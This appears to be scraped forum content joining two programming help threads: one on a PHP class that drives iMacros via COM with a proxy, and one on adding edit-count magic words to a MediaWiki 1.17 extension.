function __construct($proxyip = 'MY_PROXY_IP', $proxyport = 'MY_PROXY_PORT', $silent = false, $noexit = false) {
echo "--------------------------------------\nNew imacros session started!\nUsing Proxy: $proxyip:$proxyport\n";
$this->proxyip = $proxyip;
$this->proxyport = $proxyport;
if (empty ( $this->proxyip ))
echo "NO PROXY!!\n";
$this->noexit = $noexit;
$this->fso = new COM ( 'Scripting.FileSystemObject' );
$this->fso = NULL;
$this->iim = new COM ( "imacros" );
$toexec = "-runner -fx -fxProfile default";
if ($silent === true)
$toexec .= " -silent";
if ($noexit === true)
$toexec .= " -noexit";
echo $toexec . "\n";
$this->iim->iimInit ( $toexec );
if (! empty ( $this->proxyip )) {
$dvars ['IP'] = $this->proxyip;
$dvars ['port'] = $this->proxyport;
$this->play ( $dvars, 'proxy.iim' );
}
}
function __destruct() {
if ($this->noexit === false)
$this->iim->iimExit ();
}
function play($immvars = '', $macro) {
echo "--------------------------------------------------------\n";
if (is_array ( $immvars )) {
foreach ( $immvars as $key => $value ) {
echo "Setting Value $key => $value\n";
$this->iim->iimSet ( "-var_" . $key, $value );
}
}
echo "Playing Macro $macro\n";
$s = $this->iim->iimPlay ( $macro );
if($s>0){
echo "Macro successfully played!\n";
}else{
echo "--------MACRO ERROR!-------------------\n ERROR: " . $this->getLastError() . "\n";
}
return $s;
}
// This function retrieves extracts in your iMacros script if you have any.
function getLastExtract($num) {
return $this->iim->iimGetLastExtract ( $num );
}
// Returns the last error :)
function getLastError(){
return $this->iim->iimGetLastError();
}
// Enables/disables images
function setImages($images = 1) { // 1 = on 2 = off
$dvars ['images'] = $images;
$this->play ( $dvars, 'images.iim' );
}
// Enables or disables adblockplus
function enableABP($status = true){
$dvars['status'] = $status;
$this->play ( $dvars, 'abp.iim' );
}
}
?>
Is there something I am missing here?
I have iimRunner.exe running during all of this [started manually before running the script] and I have iMacros Browser V8+.
Also, my grab_data.iim and all other required .iim are in the same place as the php script that is trying to call them and execute them.
Any kind of help and/or steer towards the right direction would be greatly appreciated!!
Thanks in advance.
U must by start the immrunner, before start the script =)
http://wiki.imacros.net/iimRunner
I'm writing an extension that will allow me to add the magic words: CURRENTUSER, CURRENTUSERREALNAME, CURRENTUSERLANGABBR, CURRENTUSERGROUPS, and now I want to add CURRENTUSEREDITCOUNT and CURRENTUSEREDITCOUNTALL.
That section of my code is currently:
function wfGetCustomVariable(&$parser,&$cache,&$index,&$ret) {
switch ($index) {
case MAG_CURRENTUSER:
$parser->disableCache(); # Mark this content as uncacheable
$ret = $GLOBALS['wgUser']->getName();
break;
case MAG_CURRENTUSERREALNAME:
$parser->disableCache(); # Mark this content as uncacheable
$ret = $GLOBALS['wgUser']->getRealName();
break;
case MAG_CURRENTUSERLANGABBR
$parser->disableCache(); # Mark this content as uncacheable
$ret = $GLOBALS['wgLang']->getCode();
break;
case MAG_CURRENTUSERGROUPS
$parser->disableCache(); # Mark this content as uncacheable
$array = $GLOBALS['wgUser']->getEffectiveGroups();
$ret = implode(",", $array);
break;
}
return true;
}
However, I can't seem to find the $GLOBAL for the edit counts. I've done some research based on other extensions that use different edit counts for different reasons and have found:
For CURRENTUSEREDITCOUNT:
function wfContributionseditcount( $uid ) {
if ( $uid != 0 ) {
global $wgOut, $wgLang;
$wgOut->addWikiText( wfMsgExt( 'contributionseditcount', array( 'parsemag' ),
$wgLang->formatNum( User::edits( $uid ) ),
User::whoIs( $uid ) ) );
}
return true;
}
and for CURRENTUSEREDITCOUNTALL:
public function execute( $params ) {
global $wgOut, $wgUser;
$skin = $wgUser->getSkin();
$this->setHeaders();
$this->loadRequest( $params );
$wgOut->addHTML( $this->makeForm() );
if( $this->target ) {
if( User::isIP( $this->target ) ) {
$this->showResults( $this->countEditsReal( 0, $this->target ) );
} else {
$id = User::idFromName( $this->target );
if( $id ) {
$this->showResults( $this->countEditsReal( $id, false ), $id );
} else {
$wgOut->addHTML( '<p>' . wfMsgHtml( 'countedits-nosuchuser', htmlspecialchars( $this->target ) ) . '</p>' );
}
}
}
$this->showTopTen( $wgOut );
return true;
}
I have tried to learn PHP on my own in the past, and have struggled with it. I'm signed up for a PHP class at my local community college, but I do not start until Fall `12. Am I looking in the right place, or is there a simpler place to find the user's edit counts? Maybe as part of /trunk/phase3/includes/User.php someplace? I should mention this needs to run on a wiki running MW 1.17.1, so classUser would not work where-as it is MW 1.18+.
If what you want is to change the definition of edit count, perhaps you should directly change the code where it reduces the user's editcount after a page is deleted.